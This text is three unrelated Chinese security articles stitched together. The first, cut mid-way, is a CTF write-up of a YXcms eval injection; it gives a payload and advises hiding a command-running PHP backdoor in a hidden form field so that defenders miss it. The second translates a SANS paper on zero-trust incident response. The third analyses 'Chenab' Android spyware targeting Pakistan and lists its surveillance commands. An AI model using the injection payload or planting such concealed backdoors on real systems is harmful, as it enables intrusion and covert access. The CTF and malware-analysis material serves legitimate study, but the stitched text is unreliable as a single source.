...
<td>当前用户:<font color="blue"><?php eval("echo ${auth['nickname']};");?></font></td>
<td>上次登录IP:<font color="blue"><?php echo $auth['lastip'];?> </font></td>
...
?>
很明显有个危险函数函数`eval`。要想利用则需控制`auth`数组的`nickname`。
注册用户，然后登入，在用户主页中，对应的功能点为：
修改账户昵称为：`${include '/flag'}`
与官方源码对比：
修复：将`<?php eval("echo ${auth['nickname']};");?>`修改为`{$auth['nickname']}`即可。
## 总结
介绍了YXcms1.4.7版本存在的几个主要的前/后台漏洞，确实都很鸡肋。YXcms1.4.7在我赛前准备的CMS漏洞库里面，但对方改了管理员密码后，漏洞也用不了了。
比赛方留下的几个后门确实挺有意思的，其实这也是我们进攻后留下后门的一个思路。拿到shell后，对方正好上了waf，这时php木马就不好使了，但可以通过一些正常功能点来getflag，比如说找前台处插入：
<input type="hidden" placeholder="<?php echo `cat /目录/f* `;?>" />
这一类后门就很难被发现了。
比赛时一定要先备份源码！先找找官方的后门，很有可能不是简单的一句话木马，全局查找关键词`flag`，`cat`
，`eval`，`exec`等一些敏感的词来快速发现后门。 | 社区文章 |
### 意义
* 研究"零信任世界中的事件响应"的意义：
* 1.有助于企业完善"零信任网络"下应急响应流程
* 2.有助于企业建设"零信任网络"
* 3.有助于安全研究人员继续探索
* ...
意义较大，故逐字翻译，带上了注释，以供参考。
Paper: 《Incident Response in a Zero Trust World》
Author: heath.lawson
Advisor: Lenny Zeltser
Accepted: January 15th, 2020
### 摘要
"零信任网络"(Zero Trust Networks)，是一种新的安全模型，它使企业能够不断地提供对资产的"受验证访问"(verified
access)，并且随着企业使用云资源，这种模型变得越来越普遍(Rose, S., Borchert, O., Mitchell, S., &
Connelly, S., 2019)。
"零信任网络"模型使企业能够通过使用各种各样的"信号"(signals)来实现对资源访问的更严格控制，这些信号给"验证访问请求"(validate
access requests)提供了很好的可见性。随着这种方法越来越多地被采用，"事件响应者"(incident
responders)必须理解"零信任网络"如何增强其现有流程。本文会为使用这种新范式管理事件的事件响应人员提供指导。
* 本文将比较2种场景的事件响应能力:
* 零信任网络中的事件响应能力
* 传统的"以边界为中心"(perimeter-centric)模型的事件响应能力
### 1\. Introduction
* 大量的条件正在为各个企业"采用新的模型来保护他们的资源"奠定基础：
* 1.随着"云服务"(cloud services)变得越来越普遍，甚至最关键的业务功能也上了云，各企业意识到他们必须将"安全边界"(security boundaries)扩展到传统网络边界之外
* 2."连通性的普及"(prevalence of connectivity)
* 3.设备的多样化
* 4.劳动力的激增
* 5.为了实现"总是在线"(always-on), 不间断
* 6.为了实现"资源总是可用"(always available resources)
* 7.为了改变员工的工作方式、地点
* ...
所有这些因素，都对"企业保护其资产的方式"提出了一套新的要求。这种新方法通常被称为"零信任网络"(Zero Trust
Networking)，或"零信任体系结构"(Zero Trust Architectures,ZTA)。它侧重于保护 **资源**
，而不是像现在常见的那样保护"网段"(network segments)，(Rose, S., Borchert, O., Mitchell, S., &
Connelly, S., 2019).
与此同时，"事件响应人员"和"企业防御人员"(enterprise
defenders)面临着日益敌视的威胁、比以前任何时候都更加坚定和先进的对手。对传统网络中的事件防御与响应已经得到了充分的证明，但是当它与"零信任"模型相结合时，当今可用的许多事件响应指导细则都暴露出了不足。
因此，这些事实之间的联系，提出了一个 **重要的问题** :
**当与云服务结合使用时，"零信任网络的概念"能使事件响应人员(跟传统网络下)同样高效、甚至更加高效吗?**
本研究旨在通过 **"分析常见的云安全事件"** 来回答这个问题，这些事件都是通过"网络边界安全"(network-perimeter
security)和"零信任网络架构"来观察的。
### 2\. Incident Response
事件响应。
* 如何定义 **"计算机安全事件"(A computer security incident)** ?
* 定义1 - "计算机安全事件"是一系列可观察的事件共同构成的一项活动，对企业中系统或数据资产的保密性、完整性、可用性具有潜在的负面影响(SANS, 2019)。
* 定义2 - "美国国家标准与技术研究所"(The National Institute of Standards and Technology)进一步将"计算机安全事件"定义为:“侵害违反，或即将侵害违反计算机安全策略、可接受的使用策略、标准安全实践的威胁”。原文是“a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices”.(Cichonski, P., Millar, T., Grance, T., & Scarfone, K., 2012)。
**"事件响应"(incident response)** : 也称为"事件处理"(incident handling)，是
**使用已建立的模型管理"计算机安全事件"的过程** (Cichonski, P., Millar, T., Grance, T., & Scarfone,
K., 2012)。
"事件响应"与信息安全的许多"操作部分"(operational
aspects)一样，这些模型通常遵循了一个生命周期，从"事件开始"到"事件修复"、"事件结束"。
* "事件响应"生命周期
* 1."准备阶段"(preparation phase) - 企业建立书面策略，获得所需的必要材料和资源，并准备响应事件。
* 2."识别阶段"(identification phase) - 企业识别事件的范围和严重程度，并启动响应。
* 3."遏制阶段"(containment phase) - 一旦企业识别了事件，就会进入"遏制阶段"，并采取措施防止攻击者的进一步移动或破坏。
* 4."清除阶段"(eradication phase) - 一旦企业控制了该事件(防止了蔓延)，企业将开始"清除阶段"，从目标系统中清除攻击者的所有踪迹。
* 5."恢复阶段"(recovery phase) - 对受影响的系统、数据进行验证，并恢复到正常服务。
* 6."总结阶段"(lessons learned phase) - 企业得到了教训就总结经验，从事件中得到了见识和改进的机会，并将这些信息提供给"准备阶段"，以"完成闭环"(complete the cycle)。
### 3\. Network-based security model
基于网络的安全模型。
(Scarfone, K., & Hoffman, P., 2009)
* 企业通常采用通用安全体系结构的某个变体，至少关注3个"网络区域"(network zones)
* Internet
* DMZ
* Intranet 或 Private networks
主机分组：主机按用途和敏感程度分组，并被分配到一个zone。每个zone承载了不同级别的信任。
受信任程度：`Private zone`> `DMZ` > `hosts on the public network`
为了应对当前的威胁发展，构建安全网络的最佳实践，许多安全防御措施通常在网络的每个`choke point`都找到了家，以确保足够的覆盖范围。
在"以网络为中心"(network-centric)的模型中，安全防御有：IDS，IPS，DLP(Data Loss Prevention
tools)，在网络边界上运行的Web代理等。这意味着必须跨越这些网络边界的任何活动都必须被监控、检查、保护(见Figure 1)。
> Figure 1. Common network layout with security defenses
>
>
* "以网络为中心"(network-centric)的模型 有多个潜在的缺点:
* 1.首先，存在一种 **隐式信任** ，即只要在"边界安全防御"(the perimeter security defenses)之后的任何设备的连接，就会被认为是“安全的”，且该连接的安全级别等同于那个zone的安全级别。
* 实际场景:在传统的企业网络中，这意味着如果有了一个已被感染的终端(失陷)，那么就不需要大肆穿过这种网络防御("边界安全防御")，并且攻击者在"初始感染"(initial compromise)之后可以不被检测地移动。
* 2.另一个根本限制是， **流量必须始终通过这些"网络边界"(network perimeters)** 才能得到保护。
* 实际场景:因为当今有大量"手机用户"(mobile users)和云服务，所以这样的要求可能给用户体验带来许多挑战。企业经常通过使用VPN等技术来减轻这种限制:将所有流量重新带回"安全网络"(the secured network)，然后通过"边界控制"(perimeter controls)将其路由出去。但是这种方法带来了其他挑战，包括额外的复杂性和潜在的更高延迟，并且可能在非企业拥有的设备上引入"隐私问题"(privacy concerns)，比如BYOD(Bring Your Own Device)等场景。
### 4\. Zero Trust Networks
由于"现代计算环境"(modern computing
environment)中的"传统的网络防御"带来的这些挑战，"零信任网络"在企业网络中日益普及。为了能够在各种条件下从任何位置的任何设备进行访问，这个新模型必须确保"只有经过授权的才能够访问资源"，但是我们必须更加细化。
当今这个时代，是容器、"基础设施即代码"(infrastructure-as-code)、数十亿设备的时代，我们不能再仅仅依赖"网络"来提供我们所需的管控能力。取而代之的是，需要一个新模型来解决这个问题：一种在
**所有用户、设备、应用程序、以及它们接触的数据** 上都能够使用相同一致的控制面板的模型。
"零信任网络"，也称为"零信任体系结构"，通过对资源访问进行更严格的控制，打破了上一节中强调的广泛的"隐式信任"(implicit
trust)。`"零信任"模型的核心是:确保每次访问尝试都是经过验证的，并使用所有可用数据来验证它是一个合法请求。`
* 为了更好地描述"事件响应"(incident response)中的零信任，可以将其归纳为以下4个原则:
* **1.假设公司网络(边界防御和内部人员)不可信。** 这一原则与"聚焦于边界"的方法背道而驰，"聚焦于边界"认为: "安全设备背后的任何东西本质上都是可信的、安全的"。而该原则把重点放在"突破事件遏制遏制"(breach containment)和"限制事件损害"(limiting damage)上。
* 2.对 **身份(Identity), 设备(Device), 应用(Application), 数据(Data)** 需要有洞察力。从历史上看，这些资产中的许多资产在"基于网络的探测"(network-based detections)之后(译者注:可能是指无法洞察到这些资产)。在假定网络不可信的情况下，企业只剩下这4个通用的因素来审查"每一笔交易"的安全性。
* 3. **每次资源访问尝试都必须经过验证。** 与`天生内在地信任用户和设备(因为它们处于'secure network')而应具有访问权限`不同，而是使用上述所有可用`"信号"(signals)`来验证这是合法请求(Rose, S., Borchert, O., Mitchell, S., &Connelly, S., 2019).
* **4."自动化的响应"(Automated response)至关重要。** 在当前的威胁形势下，"自动化的检测和修复补救"(automated detection and remediation)是我们分析足够的数据并足够迅速地做出响应的唯一方法，以便有机会及时捕获和阻止"高级对手"(advanced adversaries)。
随着零信任的这些原则(Rose, S., Borchert, O., Mitchell, S., & Connelly, S.,
2019)的确定，逻辑组件可以解释(见Figure 2)。
> Figure 2. Conceptual model of Zero Trust Access (NIST, 2019)
>
>
* 译者注：美国"国家标准技术研究所"(NIST)的模型中，["策略决策点"(Policy Decision Point,PDP)](https://csrc.nist.gov/glossary/term/policy-decision-point)的定义有2个：
* PDP的定义1:一种系统实体，为自己或请求作出授权决定的其他系统实体做出 **"授权决定"(authorization decisions)** 的系统实体。
* 原文:A system entity that makes authorization decisions for itself or for other system entities that request such decisions.
* PDP的定义2:一种机制，该机制检查访问资源的请求，并将它们与(适用于访问该资源的所有请求的) **策略** 进行比较，以确定是否应向(发出该请求的)这个具体的请求者,授予具体的访问权。
* 原文:Mechanism that examines requests to access resources, and compares them to the policy that applies to all requests for accessing that resource to determine whether specific access should be granted to the particular requester who issued the request under consideration.
"策略决策点"(Policy Decision
Point,PDP)是个连接点。这可能听起来像一个"边界"(perimeter)，但它与业界最熟悉的广泛边界有根本的不同。相反，把它看作是每个资源的"安全之地"：我们能控制以实现极其简明的需求。在这个"安全之地"之内，我们可以应用"细粒度策略"(granular
policy)在资源之间强制执行"最小权限"(least privilege)。
在策略和后续的"决定需求"(decision
requirements)方面，"零信任"的下一项优势是聚焦于最大程度地减少"未授权的访问"(unauthorized access)。
通过具有"最小信任区"(minimal trust
zone)和健壮的"执行点"(即PDP)的强大控制面板，信号可被组合，以确保使用可用的、最佳的数据来做出访问请求决策。这意味着“零信任”系统本质上会将各种信息源整合在一起。以确保在正确的条件下，以正确的方式、正当的理由访问资源。(Rose,
S., Borchert, O., Mitchell, S., & Connelly, S., 2019).
* “零信任”系统通常汇集哪些"源"(sources)？
* "基于风险的用户行为模型"(the risk-based models of user behavior)
* 设备健康程度(device health)
* 数据分类(data classifications)
* 合规规范(compliance boundaries)
* ...
在零信任的世界中，仍然会发生安全事件。可能没有什么技术可以神奇地消除威胁。
重要的是考虑到"零信任网络"的基石，即"缩小信任区域"(shrinking trust zones)的想法。
* ZTA的基石是"缩小信任区域",它对事件响应的好处有:
* 1.对任何单一的事件减少其他资源的介入。这意味着当事件发生时，较小的信任区域将减少对其他系统的广泛风险。
* 2.我们还可以减少检测的延迟，并使每个人的事件响应更高效。
最后，有一个要点需要注意，直到最近才有像NIST这样的标准机构开始提供关于零信任网络的指南，例如在"NIST特别出版物草案"(the NIST draft
Special
Publication)800-207中写的那样。这很重要，因为它表明被普遍定义为"零信任"的内容仍然存在很大差异。此外，许多安全厂商已经锁定了"零信任"的标签，并用它来推销他们的产品。需要明确的是：零信任仍处于初级阶段，还有更多的工作要做，尽管现在每个人都可以采取一些有意义的步骤。
### 5\. The Experiment
我们已经设计好了一个实验，从每个环境（"传统网络"和"零信任网络"）的典型的示例中捕获数据，并通过我们控制下的一系列事件以对它们进行定量比较。
* 测试过程包括4个场景，用于模拟使用云服务时常见的真实的安全事件。
* 场景1. **"使用未经认可的云服务"(Use of an unsanctioned cloud service)** \- 通过将包含Microsoft Word文档的测试文件夹上传到"消费者云服务"(consumer cloud service)，可以模拟一次"使用未经批准的云服务"。
* 场景2. **"失陷的用户凭据"(Compromised user credentials)** \- 被窃取的用户凭证占了安全事件的近29%(Verizon, 2019)，并通过使用合法的用户凭证进行模拟，这些用户凭证可以通过钓鱼或社会工程获得，从而访问公司服务。在此场景中，将在公司网络外部模拟对抗行为。
* 场景3. **"邮件转发的可疑使用"(Suspicious use of mailbox forwarding)** \- 可疑地使用邮箱转发是一种常见的后渗透技术，被攻击者用于"数据取出"(data exfiltration)、收集信息等([Email Collection, Technique T1114 - Enterprise | MITRE ATT&CK®](https://attack.mitre.org/techniques/T1114/))。模拟这种场景:创建邮箱规则将邮件转发到外部域，并自动删除已发送的邮件。
* 场景4. **"粗心导致的文件过度共享"(Inadvertent file oversharing)** \- 通过与外部接收者共享云存储服务中的敏感文件，可以模拟"粗心导致的文件过度共享"。这种情况有多种形式，但通常是用户产生的安全事件。
为了定量评估结果，我们使用了一个评分模型来评估环境对PICERL的"2.识别阶段"、"3.遏制阶段"的影响。
**PICERL** : preparation, identification, containment, eradication, recovery ,
lessons learned.
**PICERL** : 1.准备、2.识别、3.遏制、4.清除、5.恢复、6.吸取教训。
选择这2个阶段是为了简化测试，因为"检测威胁"、"初始响应"是事件响应的后续阶段的基础。（换句话说，如果其中某一个环境无法检测到事件、或无法采取任何行动来遏制事件，那么把后续那几个阶段作为一种衡量标准的话，效果较差。）
评分标准如下:
Score | Outcome
---|---
0 | 不能完成目标
3 | 能够完成一部分目标。需要进一步的工作才能进入事件响应的下一个阶段
5 | 能够完成事件响应所有阶段
除了评分外，每种环境的利弊都在下面的表格中列出:
Phase | Zero Trust Architecture | Perimeter-based Architecture
---|---|---
2."识别阶段" - Identify | `Pros: 优点` `Cons: 缺点` `Score: 分数` | `Pros: 优点` `Cons:
缺点` `Score: 分数`
3."遏制阶段" - Contain | `Pros: 优点` `Cons: 缺点` `Score: 分数` | `Pros: 优点` `Cons: 缺点`
`Score: 分数`
#### 5.1. Network-based security environment
在基于网络的安全环境中，一个简单网络用作评估事件"识别"和"遏制"的测试环境(见Figure 3)。
> Figure 3. Network diagram of perimeter-based security environment
>
>
* 这个简单网络中有2个设备:
* (1)一个Windows 10 client PC
* 这个Windows 10 1909 client(hostname`Win10Trad`)是运行在VMware Fusion上的一台虚拟机，并安装了Office 365 ProPlus，以及所有可用的更新。它充当模拟用户或攻击者执行操作的设备。
* (2)一个pFSense firewall
* 这个pFSense防火墙(hostname `FW01`)也运行在VMware Fusion Pro上。
* 安装了Snort和OpenAppID规则以提供SaaS软件使用情况。Snort使用默认配置运行，此外还通过`Security`设置，启用了适当的OpenAppID规则类别、启用了IPS模式。
* Squid也被安装在PFSense firewall虚拟机中，以充当"用户活动可见性"(visibility into user activities)的proxy，并且被配置为执行SSL审查(SSL inspection)。
* SquidGuard也被安装在这台虚拟机中，以提供针对指定应用程序URLs的URL filtering(见Figure 4)
> Figure 4 Packages installed on pFSense firewall.
>
>
#### 5.2 Zero Trust Network environment
为了保持"基于网络的环境"(network-based environment)的简单性，一台PC和几个云组件可用于为"零信任网络"概念建模
(见Figure 5).
> Figure 5. Zero Trust Network environment
>
>
这台运行在VMware Fusion的虚拟机Windows 10 1909(hostname `Win10-ZTN`),
被配置为"直接Internet访问"(direct internet access), 用作"客户端活动"(client
activities)的测试平台。安装了Office 365 ProPlus以及所有可用的更新。
* 其他安全工具也已启用，可为"身份"(identity), "设备"(device), "应用"(applications)提供信号:
* Microsoft Azure Active Directory (AAD)提供了一个以身份为中心的用户身份验证信号，包括可疑的登录。Microsoft Defender ATP (MDATP)提供来自Client的信号，包括对所访问的URL的可见性，以及响应能力(通过"终端"block URLs)。
* 配置Microsoft Cloud App Security(MCAS)以分析正在使用的云应用程序，并部署了"策略"(policies)来查找"异常或恶意活动"(anomalous or malicious activities)。
值得注意的是，"零信任网络"模型中的这些组件是由作者对工具的预先熟悉而选择的。其他厂商提供的其他组件应该也能提供类似的功能。
### 6\. Findings
#### 6.1. Use of unsanctioned cloud application
在这个场景中，作为一个免费套餐的DropBox账户，从每个终端上传一批文档到一个"文件存储应用程序"(file storage
application)，总计30"兆字节"megabytes。
这个"基于网络的环境"提供了数据，这些数据对于识别`发送到"未经批准的云服务"(unsanctioned cloud service)的信息`非常有用。
LightSquid显示了许多与DropBox URL关联的transactions及其size(见Figure 6),
虽然这并不一定仅仅表示数据离开了网络，但值得进一步调查。
在"遏制"(containment)方面，一支有能力的团队可以迅速采取行动，在proxy中block对应的"违反规定的"(offending)应用程序，然后与用户合作以确保从云服务中删除数据。
> Figure 6. LightSquid showing data egress to DropBox
>
>
"零信任网络"还提供了有用的数据:用于识别将数据发送到未经批准的云服务。
图7显示了为Dropbox生成的MCAS告警，并在红色框中显示了可以发起 遏制containment/根除eradication 活动(见Figure
7), 通过从终端block站点来实现。
对于事件响应人员和分析人员，这意味着通过在已检测到事件的CASB(cloud access security
broker)中采取行动，它将在终端上强制采取行动，无论设备在何处被连接。
> Figure 7. Microsoft Cloud App Security showing detection and options to
> block application
>
>
在这个测试中，2个环境都得到了很高的分数10分。分数相同但存在差异，这表明，零信任网络在"识别"(identification)、遏制(containment)事件方面具有明显的优势。
表格:
Phase | Zero Trust Architecture | Perimeter-based Architecture
---|---|---
2."识别阶段" - Identify |
`优点：来自"终端"的信号提供了数据，终端无须在公司网络中。告警不是实时的，而是迅速显示"未批准的应用程序"(the unsanctioned
application).` `缺点:必须配置策略来识别新的"大容量应用程序"(high-volume
applications)，需要对端点进行管理/注册(可以自动强制执行).` `Score: 5` |
`优点：LightSquid提供报告以突出显示数据流，显示完整的URL，并能够突出显示DropBox流量。`
`缺点:在业务繁忙的环境中，这样的报告很难解释。一些云服务提供商(Amazon, Microsoft等)的Raw
URLs实际上可以被合法服务使用。此外，如果该终端不在网络边界之内，则这种可见性将不可用。` `Score: 5`
3."遏制阶段" - Contain | `优点:能够快速block应用程序，无论网络位置如何，都能确保block正常工作。`
`缺点:在这种情况下，Blocking非常广泛。如果需要针对每个用户或每个组进行更细粒度的控制，则该应用程序将被批准，并加入更丰富的控制机制。`
`Score: 5` | `优点:可以将Snort配置为主动阻止已知的bad应用程序，并在允许特定业务部门访问应用程序时，可能提供更细的粒度。`
`缺点:只有在"受保护的网络"(the protected network)中、或者远程设备(一直开着VPN)连接到受保护的网络中，Block才有效!`
`Score: 5`
Total Score | 10/10 | 10/10
原表格:
#### 6.2. Compromised user credentials
"被窃取的用户凭据".
这个场景代表了云服务中最常见的事件之一，其中用户凭证被钓鱼或其他社会工程方法窃取。一旦攻击者获得了用户的凭据，攻击者将使用这些凭据，实现以员工身份访问资源并继续攻击。
通过"模拟攻击者"来测试这个场景：使用用户的凭据，并从Tor来远程访问资源。
在这个场景中，如果没有额外的管控措施，"基于边界的架构"(the perimeter-based
architecture)是无效的。因为攻击者正在使用一个边界网络之外的终端的凭据，所以存在“缺乏可见性”的问题。在企业场景中，通常会有一些没有在"基于边界的架构"中表示的"管控措施"(controls)：这些"管控措施"可以借助数据(比如来自身份提供程序的"集中化的日志"、Office
365 activity logs)帮助识别恶意活动。
零信任网络将"登录"识别为异常，并从"身份"(identity)的丰富信号中受益，以带来可见性，并遏制、清除、恢复用户凭据(Figure 8)。
> Figure 8. risky sign-ins detected.
>
>
* 在这个例子中，这次登录触发了2个风险告警:
* 1.登录者来自新的位置(a new location).
* 2.登录者源自Tor.
此外，仅在通过"多因素身份验证"(MFA,multifactor authentication)验证了其身份之后，才允许用户更改密码。
* 通常部署了许多"防御措施"(defenses)，以防止"防御措施被故意禁用"、或"防御措施未部署"的情况。如
* "多因素身份验证"之类的管控措施将阻止攻击者使用这些被窃取的凭据；
* 其他"以身份为中心的"(identity-centric)管控措施仅允许来自健康设备的登录。如"终端检测和响应"(Endpoint Detection and Response)或"移动设备管理"(Mobile Device Management)解决方案判断该设备为健康的、非恶意的设备。
表格:
Phase | Zero Trust Architecture | Perimeter-based Architecture
---|---|---
2."识别阶段" - Identify | `优点:能够基于"多种因素"(multiple factors)快速对异常登录发出一条告警。`
`缺点:可能会因为员工出差等原因，而产生误报。` `Score: 5` | `没有部署额外的能力，无法测量。` `Score: 0`
3."遏制阶段" - Contain | `优点:用户访问的下一个资源通过"多因素认证"(MFA)进行身份验证，并且用户的密码将被更改。`
`缺点:在没有额外工作的情况下，这只适用于利用"身份提供者"(the identity provider)的应用程序，并且可能会造成"空白"(gaps).`
`Score: 5` | `没有部署额外的能力，无法测量。` `Score: 0`
Total Score | 10/10 | 0/10
原表格:
#### 6.3 Suspicious use of mailbox forwarding rules
表格:
Phase | Zero Trust Architecture | Perimeter-based Architecture
---|---|---
2."识别阶段" - Identify | `优点:Microsoft Cloud App Security发出一条告警，指示配置了可疑的收件箱转发。`
`缺点: N/A` `Score: 5` | `没有部署额外的能力，无法测量。` `也可以通过检查SMTP mail
flows,或其他"消息日志"(message journaling)也可以检测到。` `Score: 0`
3."遏制阶段" - Contain | `优点:自动遏制，包括遏制"已被控制的用户"(the compromised
user)，基于策略定义驱动的用户凭据的重置。` `缺点:此遏制仅适用于有问题的用户，而不适用于受攻击者的消息影响的下游用户。` `Score: 3` |
`没有部署额外的能力，无法测量。` `Score: 0`
Total Score | 8/10 | 0/10
原表格:
#### 6.4 Inadvertent sharing of sensitive file by user
表格:
Phase | Zero Trust Architecture | Perimeter-based Architecture
---|---|---
2."识别阶段" - Identify | `优点：通过定义策略，MCAS能够识别此应用程序级别的信号。可获得有关"访问尝试"(access
attempts)的更多详细信息。` `Score: 5` | `优点：LightSquid能够突出显示"离开网络的数据"(data leaving the
network)，如果部署了其他拦截或DLP工具，它们将识别出敏感数据。`
`缺点:报告对于这个用例是原始的，因为它以"URL"和"数据流"为中心——非常适合用于识别未批准的内容,但对xx来说不够详细。` `Score: 3`
3."遏制阶段" - Contain | `优点：虽然没有对这个test进行配置，但MCAS具有功能："撤消共享"(revoke sharing),
"隔离文件"(quarantine the file), "应用加密"(apply encryption), "通知用户"(notify the
user), "启动其他工作流"(start an additional
workflow)等...所有有效的遏制步骤。此外，可以部署预防性的、实时的管控措施，以防止将敏感文件上传到一个共享的位置。` `Score: 5` |
`没有部署额外的能力，无法测量。` `Score: 0`
Total Score | 10/10 | 3/10
原表格:
#### 6.5 Results
从数据中可以看出，"零信任网络模型"(Zero Trust Network models)的优势明显大于"管控环境"(the control
environment)。随着场景演变为更深入的应用程序和终端的上下文，"基于边界的安全控制"(perimeter-based security
controls)失去了提供有意义的"可见性"能力、"控制"的能力。
test | Score - Network security | Score - Zero Trust Network
---|---|---
"将窃取到的数据传到未经授权的云服务"(Exfiltration of Data to unauthorized cloud service) | 10 |
10
"失陷的用户凭据"(Compromised user credentials) | 0 | 10
"邮箱转发"(Mailbox forwarding) | 0 | 8
"粗心共享了敏感文件"(Inadvertent sharing of sensitive file) | 3 | 10
**Total** | 13 | 38
### 7\. Recommendations
建议。
* 虽然这些测试是在简单的环境中进行的，但是数据说明了：
* (1)在不同安全模型中识别事件、遏制事件的关键差异。
* (2)在与云服务一起使用时，还表明了基于边界的模型的不足之处。
为了回答本文前面提出的假设，显而易见，零信任网络对云服务具有可见性，并且可以为事件响应者提供更多的好处。
小结一下，基于网络的安全性无法完成2个目标，因为它缺乏识别特定场景所需的"深度应用程序上下文"(the deep application
context)。这是因为可见性受限于"活动"(activities)的网络角度，如果没有丰富的"数据包重组"(packet
reassembly)和大量上下文，网络设备就没有足够的"智能"(intelligence)来识别活动。
相反，"零信任网络"能够快速识别事件、遏制事件，因为它将"应用程序日志"(the application
logs)作为信号包含在内。这在其他"使用了不同的信号"的场景中是重复的：如来自"身份"(identity)和"终端"(endpoint)的信号。
* 事件响应者应考虑以下建议：
* 1."集中化应用身份"(Centralize application identities) - 它可以作为核心PDP，并提供"单一的日志"(a singular logging)由表及里地来检测异常的身份验证和授权。
* 2."使用应用的活动数据"(Consume application activity data) - 在这个例子中, CASB(cloud access security broker)使用了丰富的活动数据，作为应用内部的用户活动信息的整合点。但"基于网络的安全模型"肯定没有CASB, 这种场景或许可以考虑这种过渡步骤: 将来自应用程序的"数据"合并到SIEM之类的"中央位置"(central location)，并可以配置规则以实现告警。
* 3."考虑事件响应中集成的威力"(Consider the power of integration in incident response) - 在上面的例子中，识别事件、遏制活动之间有直接的关联，这通常是通过组件之间的内置集成完成的。在这两个阶段之间的时间间隔越短，一个事件就可以越快地得到解决，而且更重要的是，可能降低严重性或影响。
### 8\. Conclusion
* 这项研究虽然针对"简化版"的企业环境表示，但它强调说明了:
* 在识别和遏制阶段，当企业结合"云服务"和"零信任原则"时，防御人员和响应人员都明显受益。在应用程序"洞察"(insights)需要比网络"审查"(inspection)提供更多上下文的场景中、或者在必须组合多个信号的场景中，零信任网络原则比传统网络具有优势。
* 当前的威胁状况作为了外部的推动力，从本研究提供的数据中我们可以看到，当前的威胁状况几乎要求了: 企业在迁移到云服务以实现关键业务功能时，需要积极接受这些原则。
### References
Cichonski, P., Millar, T., Grance, T., & Scarfone, K. (2012). Computer
security incident handling guide: recommendations of the National Institute of
Standards and Technology. Gaithersburg, MD: U.S. Dept. of Commerce, National
Institute of Standards and Technology.
Rose, S., Borchert, O., Mitchell, S., & Connelly, S. (2019). Zero Trust
Architecture, Draft. Gaithersburg, MD: U.S. Dept. of Commerce, National
Institute of Standards and Technology.
Scarfone, K., & Hoffman, P. 800-41 Guidelines on Firewalls and Firewall
Policy, 800-41 Guidelineson Firewalls and Firewall Policy (2009). Retrieved
from <https://csrc.nist.gov/publications/detail/sp/800-41/rev-1/final>
Class materials for SANS SEC504, Hacker Tools, Techniques, Exploits, and
Incident Handling.(n.d.).
Email Collection. (n.d.). Retrieved January 1, 2020, Retrieved from
<https://attack.mitre.org/techniques/T1114/>.
Verizon. (2019). 2019 Data Breach Investigations Report. Retrieved from
<https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf> | 社区文章 |
# 克什米尔冲突之针对巴基斯坦的Chenab（奇纳布河）监控活动样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
印巴冲突历来已久，其归根到底是克什米尔问题，克什米尔争端是指印度和巴基斯坦对查谟和克什米尔地区主权纷争而引发的一系列问题，克什米尔争端是英殖民主义在1947年撤出印度时留下的。
2019年10月5日，印控克什米尔地区政府办公室遭到手榴弹袭击，目前已造成至少14人受伤，再次加剧当地紧张气氛。6日，数千名巴控克什米尔地区民众开始聚集在印巴实际控制区分界线附近，抗议印控克什米尔地区被封锁。巴基斯坦总理伊姆兰·汗随后在社交平台上表示，希望民众不要越线，任何对印控克什米尔地区的人道主义援助，都会“被印度利用”。
自8月5日印度政府宣布取消宪法赋予印控克什米尔地区的特殊地位后,印巴局势骤然升级。取消特殊地位意味着印控克什米尔地区曾享有的自治权不复存在,而印度宪法将完全适用于这里。印度还封锁了印控克什米尔大部分地区,切断当地对外通讯,包括手机、互联网和固线电话,并增派军队到边界地区。这一单方面改变克什米尔现状的做法立即招来巴基斯坦强烈反弹,巴方随即决定降低与印度的外交关系级别,并中断双边贸易。
而近日，奇安信病毒响应中心捕捉到了一起极具目的性的安卓APK攻击，经过研判发现其攻击目标疑似为巴基斯坦。此次攻击事件涉及的样本乌尔都翻译为“河边”
，联系到奇纳布河（Chenab
River）流域发生过印巴水资源争议，根据1960年9月达成《印度河水协定》。根据协定，奇纳河、印度河及杰赫勒姆河划归巴基斯坦。奇纳布河（Chenab
River）上游经过经克什米尔查谟（Jammu）地区，目前是巴基斯坦控制区域。有理由相信在8月5日之后，各方在地区的监控会加强，这次针对奇纳布河（Chenab
River）上游的监控活动，我们正式命名为Chenab。
## 诱饵分析
这次捕获到的apk样本名为“ندائےحق”(乌尔都语：河边)，大家都知道乌尔都语为巴基斯坦的国语，通过伪装为正常应用(恶意样本加载正常应用)来实现全面监控的作用，能实时捕捉到巴基斯坦国内最新动态。“河边”代号可能是基于历史与地理位置，奇纳布河（Chenab
River）存在争议，奇纳布河（Chenab
River）上游又经过克什米尔地区，使人不得不去联想到印巴克什米尔冲突，近年来在“克什米尔”地区的冲突也是愈演愈烈。
通过关联样本分析发现，此框架下适用任何针对任何app进行伪装，在关联样本中发现疑似针对巴基斯坦来伪装相关应用，具有很强的针对性，疑似印度针对巴基斯坦近期制定了监控计划。
诱饵APP图标： 正常APP图标：
样本运行截图：
样本申请的权限：
## 样本分析
### 样本概况
文件名称 | 29E94BC62CBFA221A051E07E23588016.apk
---|---
软件名称 | ندائےحق
软件名称翻译 | 河边
软件包名 | com.gellery.services
MD5 | 29E94BC62CBFA221A051E07E23588016
安装图标 |
### 样本行为描述
此次捕捉的针对阿拉伯国家的恶意样本，通过释放加载正常的应用程序，
隐藏自身图标来实现隐藏自身，让用户误以为安装并更新了一个正常的应用程序。此恶意程序在后台运行时，则会通过远程服务器下发指令(总计56个指令)来实现对用户进行全方位的监控。其恶意操作有：上传短信信息、上传联系人信息、上传电话记录、屏蔽短信、监听手机状态、开启GPS、远程拍照等操作。
远控指令列表：
网络指令 | 功能
---|---
msurc | 设置音频源的值
udlt | 更新配置信息并关闭远程连接
nofia | 预留
setscrn | 开启截屏
nofid | 结束前台服务时删除通知
uclntn | 设置用户ID并更新设置
setnoti | 开启通知服务
setgpse | 开启GPS
info | 获取设备基本信息及配置信息
dirs/fldr | 获取SD卡根目录信息
fles | 获取指定目录下文件信息
ffldr | 获取指定目录下的文件及目录信息
filsz | 获取文件信息
notify | 获取_HAENTIFI
file/afile | 获取文件数据
thumb | 获取图片
cnls | 设置isCancl的值
delnotif | 删除_HAENTIFI文件
unsnotif | 注销通知服务
setnotif | 注册通知服务
delt | 删除文件
dowf | 下载指定文件
capbcam | 后置摄像头拍照并保存
capfcam | 前置摄像头拍照并保存
capscrn | 开启截屏
capscrns | 开启连续截屏
scresize | 设置屏幕大小
scrtops | 发送广播
